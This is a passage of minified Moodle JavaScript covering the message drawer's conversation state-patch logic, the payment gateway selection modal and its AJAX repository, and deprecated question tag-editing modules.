requireAddContact=buildRequireAddContact(state,newState),confirmContactRequest=buildConfirmContactRequest(state,newState),oldOtherUser=getOtherUserFromState(state),newOtherUser=getOtherUserFromState(newState),requiresAddContact=requireAddContact&amp;&amp;requireAddContact.show&amp;&amp;!requireAddContact.hasMessages,requiredAddContact=requireAddContact&amp;&amp;!requireAddContact.show,shouldRenderHeader=!oldOtherUser&amp;&amp;newOtherUser;return(shouldRenderHeader=(shouldRenderHeader=shouldRenderHeader||requiresAddContact||requiredAddContact)||null!==confirmContactRequest)?{type:Constants.CONVERSATION_TYPES.PRIVATE,showControls:!requiresAddContact&amp;&amp;!confirmContactRequest,context:{id:newState.id,name:newState.name,subname:newState.subname,totalmembercount:newState.totalMemberCount,imageurl:newState.imageUrl,isfavourite:newState.isFavourite,ismuted:newState.isMuted,showfavourite:null!==newState.id,userid:newOtherUser.id,showonlinestatus:newOtherUser.showonlinestatus,isonline:newOtherUser.isonline,isblocked:newOtherUser.isblocked,iscontact:newOtherUser.iscontact}}:null},buildHeaderPatchTypeSelf=function(state,newState){return null===state.name&amp;&amp;null!==newState.name?{type:Constants.CONVERSATION_TYPES.SELF,showControls:!1,context:{id:newState.id,name:newState.name,subname:newState.subname,imageurl:newState.imageUrl,isfavourite:newState.isFavourite,showfavourite:null!==newState.id,showonlinestatus:!0}}:null},buildHeaderPatchTypePublic=function(state,newState){return state.totalMemberCount!=newState.totalMemberCount?{type:Constants.CONVERSATION_TYPES.PUBLIC,showControls:!0,context:{id:newState.id,name:newState.name,subname:newState.subname,totalmembercount:newState.totalMemberCount,imageurl:newState.imageUrl,isfavourite:newState.isFavourite,ismuted:newState.isMuted,showfavourite:null!==newState.id}}:null},buildScrollToMessagePatch=function(state,newState){var oldMessages=state.messages,newMessages=newState.messages;if(newMessages.length&lt;1)return null;if(oldMessages.length&lt;1)return newMessages[newMessages.length-1].id;var previousNewest=oldMessages[state.messages.length-1],currentNewest=newMessages[newMessages.length-1],previousOldest=oldMessages[0],currentOldest=newMessages[0];return previousNewest.id!=currentNewest.id?currentNewest.id:previousOldest.id!=currentOldest.id?previousOldest.id:null},buildLoadingMembersPatch=function(state,newState){return!(state.loadingMembers||!newState.loadingMembers)||!(state.loadingMembers&amp;&amp;!newState.loadingMembers)&amp;&amp;null},buildLoadingFirstMessages=function(state,newState){return state.hasTriedToLoadMessages===newState.hasTriedToLoadMessages?null:!(newState.hasTriedToLoadMessages||!newState.loadingMessages)||!(newState.hasTriedToLoadMessages&amp;&amp;!newState.loadingMessages)&amp;&amp;null},buildLoadingMessages=function(state,newState){return!(state.loadingMessages||!newState.loadingMessages)||!(state.loadingMessages&amp;&amp;!newState.loadingMessages)&amp;&amp;null},buildShowEmojiPicker=function(state,newState){return!(state.showEmojiPicker||!newState.showEmojiPicker)||!(state.showEmojiPicker&amp;&amp;!newState.showEmojiPicker)&amp;&amp;null},buildShowEmojiAutoComplete=function(state,newState){return!(state.showEmojiAutoComplete||!newState.showEmojiAutoComplete)||!(state.showEmojiAutoComplete&amp;&amp;!newState.showEmojiAutoComplete)&amp;&amp;null},buildConfirmBlockUser=function(state,newState){if(newState.pendingBlockUserIds.length){var userId=newState.pendingBlockUserIds[0];return newState.members[userId]}return!state.pendingBlockUserIds.length&amp;&amp;null},buildConfirmUnblockUser=function(state,newState){if(newState.pendingUnblockUserIds.length){var userId=newState.pendingUnblockUserIds[0];return newState.members[userId]}return!state.pendingUnblockUserIds.length&amp;&amp;null},buildConfirmAddContact=function(state,newState){if(newState.pendingAddContactIds.length){var userId=newState.pendingAddContactIds[0];return newState.members[userId]}return!state.pendingAddContactIds.length&amp;&amp;null},buildConfirmRemoveContact=function(state,newState){if(newState.pendingRemoveContactIds.length){var userId=newState.pendingRemoveContactIds[0];return newState.members[userId]}return!state.pendingRemoveContactIds.length&amp;&amp;null},buildConfirmDeleteSelectedMessages=function(state,newState){var oldPendingCount=state.pendingDeleteMessageIds.length,newPendingCount=newState.pendingDeleteMessageIds.length;return newPendingCount&amp;&amp;!oldPendingCount?{show:!0,type:newState.type,canDeleteMessagesForAllUsers:newState.canDeleteMessagesForAllUsers}:oldPendingCount&amp;&amp;!newPendingCount?{show:!1}:null},buildConfirmDeleteConversation=function(state,newState){return!state.pendingDeleteConversation&amp;&amp;newState.pendingDeleteConversation?newState.type:!(state.pendingDeleteConversation&amp;&amp;!newState.pendingDeleteConversation)&amp;&amp;null},buildConfirmContactRequest=function(state,newState){var loggedInUserId=state.loggedInUserId,oldOtherUser=getOtherUserFromState(state),newOtherUser=getOtherUserFromState(newState),oldReceivedRequests=oldOtherUser?oldOtherUser.contactrequests.filter((function(request){return request.requesteduserid==loggedInUserId&amp;&amp;request.userid==oldOtherUser.id})):[],newReceivedRequests=newOtherUser?newOtherUser.contactrequests.filter((function(request){return request.requesteduserid==loggedInUserId&amp;&amp;request.userid==newOtherUser.id})):[],oldRequest=oldReceivedRequests.length?oldReceivedRequests[0]:null,newRequest=newReceivedRequests.length?newReceivedRequests[0]:null;return!oldRequest&amp;&amp;newRequest?newOtherUser:!(oldRequest&amp;&amp;!newRequest)&amp;&amp;null},buildIsBlocked=function(state,newState){var oldOtherUser=getOtherUserFromState(state),newOtherUser=getOtherUserFromState(newState);return oldOtherUser||newOtherUser?!oldOtherUser&amp;&amp;newOtherUser?!!newOtherUser.isblocked||null:!newOtherUser&amp;&amp;oldOtherUser?!oldOtherUser.isblocked&amp;&amp;null:!(oldOtherUser.isblocked&amp;&amp;!newOtherUser.isblocked)&amp;&amp;(!(oldOtherUser.isblocked||!newOtherUser.isblocked)||null):null},buildIsFavourite=function(state,newState){var oldIsFavourite=state.isFavourite,newIsFavourite=newState.isFavourite;return null===state.id&amp;&amp;null===newState.id?null:null===state.id&amp;&amp;null!==newState.id?&quot;show-add&quot;:null!==state.id&amp;&amp;null===newState.id?&quot;hide&quot;:oldIsFavourite==newIsFavourite?null:!oldIsFavourite&amp;&amp;newIsFavourite?&quot;show-remove&quot;:oldIsFavourite&amp;&amp;!newIsFavourite?&quot;show-add&quot;:null},buildIsMuted=function(state,newState){var oldIsMuted=state.isMuted,newIsMuted=newState.isMuted;return null===state.id&amp;&amp;null===newState.id?null:null===state.id&amp;&amp;null!==newState.id?&quot;show-mute&quot;:null!==state.id&amp;&amp;null===newState.id?&quot;hide&quot;:oldIsMuted==newIsMuted?null:!oldIsMuted&amp;&amp;newIsMuted?&quot;show-unmute&quot;:oldIsMuted&amp;&amp;!newIsMuted?&quot;show-mute&quot;:null},buildIsContact=function(state,newState){var loggedInUserId=state.loggedInUserId,oldOtherUser=getOtherUserFromState(state),newOtherUser=getOtherUserFromState(newState),oldContactRequests=oldOtherUser?oldOtherUser.contactrequests.filter((function(request){return request.userid==loggedInUserId&amp;&amp;request.requesteduserid==oldOtherUser.id||request.userid==oldOtherUser.id&amp;&amp;request.requesteduserid==loggedInUserId})):[],newContactRequests=newOtherUser?newOtherUser.contactrequests.filter((function(request){return request.userid==loggedInUserId&amp;&amp;request.requesteduserid==newOtherUser.id||request.userid==newOtherUser.id&amp;&amp;request.requesteduserid==loggedInUserId})):[],oldHasContactRequests=oldContactRequests.length&gt;0,newHasContactRequests=newContactRequests.length&gt;0;return oldOtherUser||newOtherUser?oldHasContactRequests&amp;&amp;newHasContactRequests?null:oldHasContactRequests||!newHasContactRequests||newOtherUser.iscontact?!oldOtherUser&amp;&amp;newOtherUser?newOtherUser.iscontact?&quot;contact&quot;:null:!newOtherUser&amp;&amp;oldOtherUser?oldOtherUser.iscontact?&quot;non-contact&quot;:null:oldOtherUser.iscontact&amp;&amp;!newOtherUser.iscontact?newHasContactRequests?&quot;pending-contact&quot;:&quot;non-contact&quot;:!oldOtherUser.iscontact&amp;&amp;newOtherUser.iscontact?&quot;contact&quot;:null:&quot;pending-contact&quot;:null},buildLoadingConfirmationAction=function(state,newState){return!(state.loadingConfirmAction||!newState.loadingConfirmAction)||!(state.loadingConfirmAction&amp;&amp;!newState.loadingConfirmAction)&amp;&amp;null},buildInEditMode=function(state,newState){var oldHasSelectedMessages=state.selectedMessageIds.length&gt;0,newHasSelectedMessages=newState.selectedMessageIds.length&gt;0,numberOfMessagesHasChanged=state.messages.length!=newState.messages.length;return!(oldHasSelectedMessages||!newHasSelectedMessages)||!(oldHasSelectedMessages&amp;&amp;!newHasSelectedMessages)&amp;&amp;(!(!oldHasSelectedMessages||!numberOfMessagesHasChanged)||null)},buildSelectedMessages=function(state,newState){var oldSelectedMessages=state.selectedMessageIds,newSelectedMessages=newState.selectedMessageIds;if(isArrayEqual(oldSelectedMessages,newSelectedMessages))return null;var diff=diffArrays(oldSelectedMessages,newSelectedMessages,(function(a,b){return a==b}));return{count:newSelectedMessages.length,add:diff.missingFromA,remove:diff.missingFromB}},getOtherUserFromState=function(state){return Object.keys(state.members).reduce((function(carry,userId){return userId==state.loggedInUserId||carry||(carry=state.members[userId]),carry}),null)},requiresContactRequest=function(loggedInUserId,user){if(user.canmessage)return!1;var hasSentContactRequest=user.contactrequests.filter((function(request){return request.userid==loggedInUserId||request.requesteduserid})).length&gt;0;return user.requirescontact&amp;&amp;!user.iscontact&amp;&amp;!hasSentContactRequest},buildRequireAddContact=function(state,newState){var oldOtherUser=getOtherUserFromState(state),newOtherUser=getOtherUserFromState(newState),hadMessages=state.messages.length&gt;0,hasMessages=newState.messages.length&gt;0,loggedInUserId=newState.loggedInUserId,prevRequiresContactRequest=oldOtherUser&amp;&amp;requiresContactRequest(loggedInUserId,oldOtherUser),nextRequiresContactRequest=newOtherUser&amp;&amp;requiresContactRequest(loggedInUserId,newOtherUser),finishedAddContact=!1===buildConfirmAddContact(state,newState);if(!state.hasTriedToLoadMessages&amp;&amp;!newState.hasTriedToLoadMessages)return null;if(!oldOtherUser&amp;&amp;!newOtherUser)return null;if(!oldOtherUser&amp;&amp;nextRequiresContactRequest)return{show:!0,hasMessages:hasMessages,user:newOtherUser};if(finishedAddContact&amp;&amp;nextRequiresContactRequest)return{show:!0,hasMessages:hasMessages,user:newOtherUser};if(state.hasTriedToLoadMessages&amp;&amp;newState.hasTriedToLoadMessages){if(!prevRequiresContactRequest&amp;&amp;nextRequiresContactRequest)return{show:!0,hasMessages:hasMessages,user:newOtherUser};if(prevRequiresContactRequest&amp;&amp;!nextRequiresContactRequest)return{show:!1,hasMessages:hasMessages}}return!state.hasTriedToLoadMessages&amp;&amp;newState.hasTriedToLoadMessages&amp;&amp;nextRequiresContactRequest?{show:!0,hasMessages:hasMessages,user:newOtherUser}:state.hasTriedToLoadMessages&amp;&amp;!newState.hasTriedToLoadMessages&amp;&amp;prevRequiresContactRequest?{show:!1,hasMessages:hadMessages}:null},buildFooterPatchTypePrivate=function(state,newState){var loadingFirstMessages=buildLoadingFirstMessages(state,newState),inEditMode=buildInEditMode(state,newState),requireAddContact=buildRequireAddContact(state,newState),requireUnblock=function(state,newState){var oldOtherUser=getOtherUserFromState(state),newOtherUser=getOtherUserFromState(newState);return oldOtherUser||newOtherUser?oldOtherUser&amp;&amp;!newOtherUser?!oldOtherUser.isblocked&amp;&amp;null:!oldOtherUser&amp;&amp;newOtherUser?!!newOtherUser.isblocked||null:!(oldOtherUser.isblocked||!newOtherUser.isblocked)||!(oldOtherUser.isblocked&amp;&amp;!newOtherUser.isblocked)&amp;&amp;null:null}(state,newState),unableToMessage=function(state,newState){var oldOtherUser=getOtherUserFromState(state),newOtherUser=getOtherUserFromState(newState);return newState.type==Constants.CONVERSATION_TYPES.SELF?null:oldOtherUser||newOtherUser?oldOtherUser&amp;&amp;!newOtherUser?!oldOtherUser.canmessage||null:!oldOtherUser&amp;&amp;newOtherUser?!newOtherUser.canmessage||null:!(!oldOtherUser.canmessage&amp;&amp;newOtherUser.canmessage)&amp;&amp;(!(!oldOtherUser.canmessage||newOtherUser.canmessage)||null):null}(state,newState),showRequireAddContact=null!==requireAddContact?requireAddContact.show&amp;&amp;requireAddContact.hasMessages:null,otherUser=getOtherUserFromState(newState),generateReturnValue=function(checkValue,successReturn){if(checkValue)return successReturn;if(null!==checkValue&amp;&amp;!checkValue){if(!otherUser)return{type:&quot;content&quot;};if(otherUser.isblocked)return{type:&quot;unblock&quot;};if(newState.messages.length&amp;&amp;requiresContactRequest(newState.loggedInUserId,otherUser))return{type:&quot;add-contact&quot;,user:otherUser};if(!otherUser.canmessage&amp;&amp;otherUser.requirescontact&amp;&amp;!otherUser.iscontact)return{type:&quot;unable-to-message&quot;}}return null};if(null===loadingFirstMessages&amp;&amp;null===inEditMode&amp;&amp;null===requireAddContact&amp;&amp;null===requireUnblock)return null;for(var checks=[[loadingFirstMessages,{type:&quot;placeholder&quot;}],[inEditMode,{type:&quot;edit-mode&quot;}],[unableToMessage,{type:&quot;unable-to-message&quot;}],[requireUnblock,{type:&quot;unblock&quot;}],[showRequireAddContact,{type:&quot;add-contact&quot;,user:otherUser}]],i=0;i&lt;checks.length;i++){var result=generateReturnValue(checks[i][0],checks[i][1]);if(null!==result)return result}return{type:&quot;content&quot;}},buildFooterPatchTypePublic=function(state,newState){var loadingFirstMessages=buildLoadingFirstMessages(state,newState),inEditMode=buildInEditMode(state,newState);return null===loadingFirstMessages&amp;&amp;null===inEditMode?null:loadingFirstMessages?{type:&quot;placeholder&quot;}:inEditMode?{type:&quot;edit-mode&quot;}:{type:&quot;content&quot;}},buildReset=function(state,newState){var oldType=state.type,newType=newState.type,oldConversationId=state.id,newConversationId=newState.id,oldMemberIds=Object.keys(state.members),newMemberIds=Object.keys(newState.members);oldMemberIds.sort(),newMemberIds.sort();var membersUnchanged=oldMemberIds.every((function(id,index){return id==newMemberIds[index]}));return oldType!=newType||(!(!oldConversationId||newConversationId)||(!(!oldConversationId||!newConversationId||oldConversationId==newConversationId)||(!(oldConversationId||newConversationId||membersUnchanged)||null)))},buildSelfConversationMessage=function(state,newState){return state.type!=newState.type?newState.type==Constants.CONVERSATION_TYPES.SELF:null},buildContactRequestSent=function(state,newState){var loggedInUserId=newState.loggedInUserId,oldOtherUser=getOtherUserFromState(state),newOtherUser=getOtherUserFromState(newState),oldSentRequests=oldOtherUser?oldOtherUser.contactrequests.filter((function(request){return request.userid==loggedInUserId})):[],newSentRequests=newOtherUser?newOtherUser.contactrequests.filter((function(request){return request.userid==loggedInUserId})):[],oldRequest=oldSentRequests.length&gt;0,newRequest=newSentRequests.length&gt;0;return oldRequest||!newRequest||newOtherUser.iscontact?!(oldOtherUser&amp;&amp;!oldOtherUser.iscontact&amp;&amp;newRequest&amp;&amp;newOtherUser.iscontact)&amp;&amp;(!(oldRequest&amp;&amp;!newRequest)&amp;&amp;null):newOtherUser.fullname};return{buildPatch:function(state,newState){var config={all:{reset:buildReset,conversation:buildConversationPatch,scrollToMessage:buildScrollToMessagePatch,loadingMembers:buildLoadingMembersPatch,loadingFirstMessages:buildLoadingFirstMessages,loadingMessages:buildLoadingMessages,confirmDeleteSelectedMessages:buildConfirmDeleteSelectedMessages,inEditMode:buildInEditMode,selectedMessages:buildSelectedMessages,isFavourite:buildIsFavourite,isMuted:buildIsMuted,showEmojiPicker:buildShowEmojiPicker,showEmojiAutoComplete:buildShowEmojiAutoComplete}};config[Constants.CONVERSATION_TYPES.PRIVATE]={header:buildHeaderPatchTypePrivate,footer:buildFooterPatchTypePrivate,confirmBlockUser:buildConfirmBlockUser,confirmUnblockUser:buildConfirmUnblockUser,confirmAddContact:buildConfirmAddContact,confirmRemoveContact:buildConfirmRemoveContact,confirmContactRequest:buildConfirmContactRequest,confirmDeleteConversation:buildConfirmDeleteConversation,isBlocked:buildIsBlocked,isContact:buildIsContact,loadingConfirmAction:buildLoadingConfirmationAction,requireAddContact:buildRequireAddContact,contactRequestSent:buildContactRequestSent},config[Constants.CONVERSATION_TYPES.PUBLIC]={header:buildHeaderPatchTypePublic,footer:buildFooterPatchTypePublic},config[Constants.CONVERSATION_TYPES.SELF]={header:buildHeaderPatchTypeSelf,footer:buildFooterPatchTypePublic,confirmDeleteConversation:buildConfirmDeleteConversation,selfConversationMessage:buildSelfConversationMessage};var patchConfig=$.extend({},config.all);return newState.type&amp;&amp;newState.type in config&amp;&amp;(patchConfig=$.extend(patchConfig,config[newState.type])),Object.keys(patchConfig).reduce((function(patch,key){var value=(0,patchConfig[key])(state,newState);return null!==value&amp;&amp;(patch[key]=value),patch}),{})}}}));
define(&quot;core_payment/modal_gateways&quot;,[&quot;exports&quot;,&quot;jquery&quot;,&quot;core/custom_interaction_events&quot;,&quot;core/modal&quot;,&quot;core/modal_events&quot;,&quot;core_payment/events&quot;,&quot;core/modal_registry&quot;],(function(_exports,_jquery,_custom_interaction_events,_modal,_modal_events,_events,_modal_registry){function _interopRequireDefault(obj){return obj&amp;&amp;obj.__esModule?obj:{default:obj}}
/**
   * Contain the logic for the gateways modal: A modal with proceed and cancel buttons.
   *
   * @module     core_payment/modal_gateways
   * @copyright  2020 Shamim Rezaie &lt;shamim@moodle.com&gt;
   * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
   */Object.defineProperty(_exports,&quot;__esModule&quot;,{value:!0}),_exports.default=void 0,_jquery=_interopRequireDefault(_jquery),_custom_interaction_events=_interopRequireDefault(_custom_interaction_events),_modal=_interopRequireDefault(_modal),_modal_events=_interopRequireDefault(_modal_events),_events=_interopRequireDefault(_events),_modal_registry=_interopRequireDefault(_modal_registry);let registered=!1;const SELECTORS_PROCEED_BUTTON=&#039;[data-action=&quot;proceed&quot;]&#039;,SELECTORS_CANCEL_BUTTON=&#039;[data-action=&quot;cancel&quot;]&#039;;class ModalGateways extends _modal.default{constructor(root){super(root)}registerEventListeners(){super.registerEventListeners(),this.getModal().on(_custom_interaction_events.default.events.activate,SELECTORS_PROCEED_BUTTON,((e,data)=&gt;{var proceedEvent=_jquery.default.Event(_events.default.proceed);this.getRoot().trigger(proceedEvent,this),proceedEvent.isDefaultPrevented()||(this.hide(),data.originalEvent.preventDefault())})),this.getModal().on(_custom_interaction_events.default.events.activate,SELECTORS_CANCEL_BUTTON,((e,data)=&gt;{var cancelEvent=_jquery.default.Event(_modal_events.default.cancel);this.getRoot().trigger(cancelEvent,this),cancelEvent.isDefaultPrevented()||(this.hide(),data.originalEvent.preventDefault())}))}}return _exports.default=ModalGateways,ModalGateways.TYPE=&quot;core_payment-modal_gateways&quot;,registered||(_modal_registry.default.register(ModalGateways.TYPE,ModalGateways,&quot;core_payment/modal_gateways&quot;),registered=!0),_exports.default}));
define(&quot;core_payment/gateways_modal&quot;,[&quot;exports&quot;,&quot;core/modal_factory&quot;,&quot;core/templates&quot;,&quot;core/str&quot;,&quot;./repository&quot;,&quot;./selectors&quot;,&quot;core/modal_events&quot;,&quot;core_payment/events&quot;,&quot;core/toast&quot;,&quot;core/notification&quot;,&quot;./modal_gateways&quot;],(function(_exports,_modal_factory,_templates,_str,_repository,_selectors,_modal_events,_events,_toast,_notification,_modal_gateways){Object.defineProperty(_exports,&quot;__esModule&quot;,{value:!0}),_exports.init=void 0,_modal_factory=_interopRequireDefault(_modal_factory),_templates=_interopRequireDefault(_templates),_selectors=_interopRequireDefault(_selectors),_modal_events=_interopRequireDefault(_modal_events),_events=_interopRequireDefault(_events),_notification=_interopRequireDefault(_notification),_modal_gateways=_interopRequireDefault(_modal_gateways);var _systemImportTransformerGlobalIdentifier=&quot;undefined&quot;!=typeof window?window:&quot;undefined&quot;!=typeof self?self:&quot;undefined&quot;!=typeof global?global:{};function _interopRequireDefault(obj){return obj&amp;&amp;obj.__esModule?obj:{default:obj}}const show=async function(rootNode){let{focusOnClose:focusOnClose=null}=arguments.length&gt;1&amp;&amp;void 0!==arguments[1]?arguments[1]:{};const modal=await _modal_factory.default.create({type:_modal_gateways.default.TYPE,title:await(0,_str.get_string)(&quot;selectpaymenttype&quot;,&quot;core_payment&quot;),body:await _templates.default.render(&quot;core_payment/gateways_modal&quot;,{})}),rootElement=modal.getRoot()[0];(0,_toast.addToastRegion)(rootElement),modal.show(),modal.getRoot().on(_modal_events.default.hidden,(()=&gt;{modal.destroy();try{focusOnClose.focus()}catch(e){}})),modal.getRoot().on(_events.default.proceed,(e=&gt;{const gateway=(rootElement.querySelector(_selectors.default.values.gateway)||{value:&quot;&quot;}).value;gateway?processPayment(gateway,rootNode.dataset.component,rootNode.dataset.paymentarea,rootNode.dataset.itemid,rootNode.dataset.description).then((message=&gt;(modal.hide(),_notification.default.addNotification({message:message,type:&quot;success&quot;}),location.href=rootNode.dataset.successurl,message))).catch((message=&gt;_notification.default.alert(&quot;&quot;,message))):(0,_str.get_string)(&quot;nogatewayselected&quot;,&quot;core_payment&quot;).then((message=&gt;(0,_toast.add)(message,{type:&quot;warning&quot;}))).catch(),e.preventDefault()})),rootElement.addEventListener(&quot;change&quot;,(e=&gt;{e.target.matches(_selectors.default.elements.gateways)&amp;&amp;updateCostRegion(rootElement,rootNode.dataset.cost)}));const gateways=await(0,_repository.getAvailableGateways)(rootNode.dataset.component,rootNode.dataset.paymentarea,rootNode.dataset.itemid),context={gateways:gateways},{html:html,js:js}=await _templates.default.renderForPromise(&quot;core_payment/gateways&quot;,context);_templates.default.replaceNodeContents(rootElement.querySelector(_selectors.default.regions.gatewaysContainer),html,js),selectSingleGateway(rootElement),await updateCostRegion(rootElement,rootNode.dataset.cost)},selectSingleGateway=root=&gt;{const gateways=root.querySelectorAll(_selectors.default.elements.gateways);1==gateways.length&amp;&amp;(gateways[0].checked=!0)},updateCostRegion=async function(root){let defaultCost=arguments.length&gt;1&amp;&amp;void 0!==arguments[1]?arguments[1]:&quot;&quot;;const gatewayElement=root.querySelector(_selectors.default.values.gateway),surcharge=parseInt((gatewayElement||{dataset:{surcharge:0}}).dataset.surcharge),cost=(gatewayElement||{dataset:{cost:defaultCost}}).dataset.cost,{html:html,js:js}=await _templates.default.renderForPromise(&quot;core_payment/fee_breakdown&quot;,{fee:cost,surcharge:surcharge});_templates.default.replaceNodeContents(root.querySelector(_selectors.default.regions.costContainer),html,js)},processPayment=async(gateway,component,paymentArea,itemId,description)=&gt;(await(&quot;function&quot;==typeof _systemImportTransformerGlobalIdentifier.define&amp;&amp;_systemImportTransformerGlobalIdentifier.define.amd?new Promise((function(resolve,reject){_systemImportTransformerGlobalIdentifier.require([&quot;paygw_&quot;.concat(gateway,&quot;/gateways_modal&quot;)],resolve,reject)})):&quot;undefined&quot;!=typeof module&amp;&amp;module.exports&amp;&amp;&quot;undefined&quot;!=typeof require||&quot;undefined&quot;!=typeof module&amp;&amp;module.component&amp;&amp;_systemImportTransformerGlobalIdentifier.require&amp;&amp;&quot;component&quot;===_systemImportTransformerGlobalIdentifier.require.loader?Promise.resolve(require(&quot;paygw_&quot;.concat(gateway,&quot;/gateways_modal&quot;))):Promise.resolve(_systemImportTransformerGlobalIdentifier[&quot;paygw_&quot;.concat(gateway,&quot;/gateways_modal&quot;)]))).process(component,paymentArea,itemId,description),init=()=&gt;{init.initialised||(init.initialised=!0,document.addEventListener(&quot;click&quot;,(e=&gt;{const gatewayTrigger=e.target.closest(&#039;[data-action=&quot;core_payment/triggerPayment&quot;]&#039;);gatewayTrigger&amp;&amp;(e.preventDefault(),show(gatewayTrigger,{focusOnClose:e.target}))})))};_exports.init=init,init.initialised=!1}));
define(&quot;core_payment/repository&quot;,[&quot;exports&quot;,&quot;core/ajax&quot;],(function(_exports,_ajax){var obj;
/**
   * Repository for payment subsystem.
   *
   * @module     core_payment/repository
   * @copyright  2020 Shamim Rezaie &lt;shamim@moodle.com&gt;
   * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
   */Object.defineProperty(_exports,&quot;__esModule&quot;,{value:!0}),_exports.getAvailableGateways=void 0,_ajax=(obj=_ajax)&amp;&amp;obj.__esModule?obj:{default:obj};_exports.getAvailableGateways=(component,paymentArea,itemId)=&gt;{const request={methodname:&quot;core_payment_get_available_gateways&quot;,args:{component:component,paymentarea:paymentArea,itemid:itemId}};return _ajax.default.call([request])[0]}}));
define(&quot;core_payment/selectors&quot;,[&quot;exports&quot;],(function(_exports){Object.defineProperty(_exports,&quot;__esModule&quot;,{value:!0}),_exports.default=void 0;return _exports.default={elements:{gateways:&#039;[data-region=&quot;gateways-container&quot;] input[type=&quot;radio&quot;]&#039;},regions:{gatewaysContainer:&#039;[data-region=&quot;gateways-container&quot;]&#039;,costContainer:&#039;[data-region=&quot;fee-breakdown-container&quot;]&#039;},values:{gateway:&#039;[data-region=&quot;gateways-container&quot;] input[type=&quot;radio&quot;]:checked&#039;}},_exports.default}));
define(&quot;core_payment/events&quot;,[&quot;exports&quot;],(function(_exports){Object.defineProperty(_exports,&quot;__esModule&quot;,{value:!0}),_exports.default=void 0;return _exports.default={proceed:&quot;core_payment-modal_gateways:proceed&quot;},_exports.default}));
/**
 * A javascript module to handle question tags editing.
 *
 * @deprecated since Moodle 4.0
 * @todo Final deprecation on Moodle 4.4 MDL-72438
 * @module     core_question/edit_tags
 * @copyright  2018 Simey Lameze &lt;simey@moodle.com&gt;
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */
define(&quot;core_question/edit_tags&quot;,[&quot;jquery&quot;,&quot;core/fragment&quot;,&quot;core/str&quot;,&quot;core/modal_events&quot;,&quot;core/modal_factory&quot;,&quot;core/notification&quot;,&quot;core/custom_interaction_events&quot;,&quot;core_question/repository&quot;,&quot;core_question/selectors&quot;],(function($,Fragment,Str,ModalEvents,ModalFactory,Notification,CustomEvents,Repository,QuestionSelectors){var enableSaveButton=function(root){root.find(QuestionSelectors.actions.save).prop(&quot;disabled&quot;,!1)},disableSaveButton=function(root){root.find(QuestionSelectors.actions.save).prop(&quot;disabled&quot;,!0)},startLoading=function(root){root.find(QuestionSelectors.containers.loadingIcon).removeClass(&quot;hidden&quot;)},stopLoading=function(root){root.find(QuestionSelectors.containers.loadingIcon).addClass(&quot;hidden&quot;)},save=function(modal,root){disableSaveButton(root),startLoading(root);var formData=function(modal){return modal.getBody().find(&quot;form&quot;).serialize()}(modal),questionId=function(modal){return modal.getBody().data(&quot;questionid&quot;)}(modal),contextId=function(modal){return modal.getBody().data(&quot;contextid&quot;)}(modal);return Repository.submitTagCreateUpdateForm(questionId,contextId,formData).always((function(){stopLoading(root),enableSaveButton(root)})).fail(Notification.exception)};return{init:function(root){window.console.warn(&quot;warn: The core_question/repository has been deprecated.Please use qbank_tagquestion/repository instead.&quot;),function(root){var modalPromise=ModalFactory.create({type:ModalFactory.types.SAVE_CANCEL,large:!1},[root,QuestionSelectors.actions.edittags]).then((function(modal){return Str.get_string(&quot;questiontags&quot;,&quot;question&quot;).then((function(string){return modal.setTitle(string),string})).fail(Notification.exception),modal.getRoot().on(ModalEvents.save,(function(e){modal.getBody().find(&quot;form&quot;).submit(),e.preventDefault()})),modal.getRoot().on(&quot;submit&quot;,&quot;form&quot;,(function(e){save(modal,root).then((function(){modal.hide(),location.reload()})).fail(Notification.exception),e.preventDefault(),e.stopPropagation()})),modal}));root.on(CustomEvents.events.activate,QuestionSelectors.actions.edittags,(function(e){var currentTarget=$(e.currentTarget),questionId=currentTarget.data(&quot;questionid&quot;),canTag=!!currentTarget.data(&quot;cantag&quot;),contextId=currentTarget.data(&quot;contextid&quot;);modalPromise.then((function(modal){disableSaveButton(root),startLoading(root);var args={id:questionId},tagsFragment=Fragment.loadFragment(&quot;question&quot;,&quot;tags_form&quot;,contextId,args);return modal.setBody(tagsFragment),tagsFragment.then((function(){enableSaveButton(root)})).always((function(){stopLoading(root)})).fail(Notification.exception),canTag?modal.getRoot().find(QuestionSelectors.actions.save).show():modal.getRoot().find(QuestionSelectors.actions.save).hide(),function(modal,questionId){modal.getBody().attr(&quot;data-questionid&quot;,questionId)}(modal,questionId),function(modal,contextId){modal.getBody().attr(&quot;data-contextid&quot;,contextId)}(modal,contextId),modal})).fail(Notification.exception),e.preventDefault()}))}(root=$(root))}}}));
/**
 * A javascript module to handle question ajax actions.
 *
 * @deprecated since Moodle 4.0
 * @todo Final deprecation on Moodle 4.4 MDL-72438
 * @module     core_question/repository
 * @copyright  2017 Simey Lameze &lt;lameze@moodle.com&gt;
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */
define(&quot;core_question/repository&quot;,[&quot;jquery&quot;,&quot;core/ajax&quot;],(function($,Ajax){return{submitTagCreateUpdateForm:function(questionId,contextId,formdata){window.console.warn(&quot;warn: The core_question/repository has been deprecated.Please use qbank_tagquestion/repository instead.&quot;);var request={methodname:&quot;core_question_submit_tags_form&quot;,args:{questionid:questionId,contextid:contextId,formdata:formdata}};return Ajax.call([request])[0]}}}));
/**
 * The purpose of this module is to centralize selectors related to question.
 *
 * @deprecated since Moodle 4.0
 * @todo Final deprecation on Moodle 4.4 MDL-72438
 * @module     core_question/question_selectors
 * @copyright  2018 Simey Lameze &lt;lameze@moodle.com&gt;
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */
define(&quot;core_question/selectors&quot;,[],(function(){return window.console.warn(&quot;warn: The core_question/selectors has been deprecated. Please use qbank_tagquestion/selectors instead.&quot;),{actions:{save:&#039;[data-action=&quot;save&quot;]&#039;,edittags:&#039;[data-action=&quot;edittags&quot;]&#039;},containers:{loadingIcon:&#039;[data-region=&quot;overlay-icon-container&quot;]&#039;}}}));
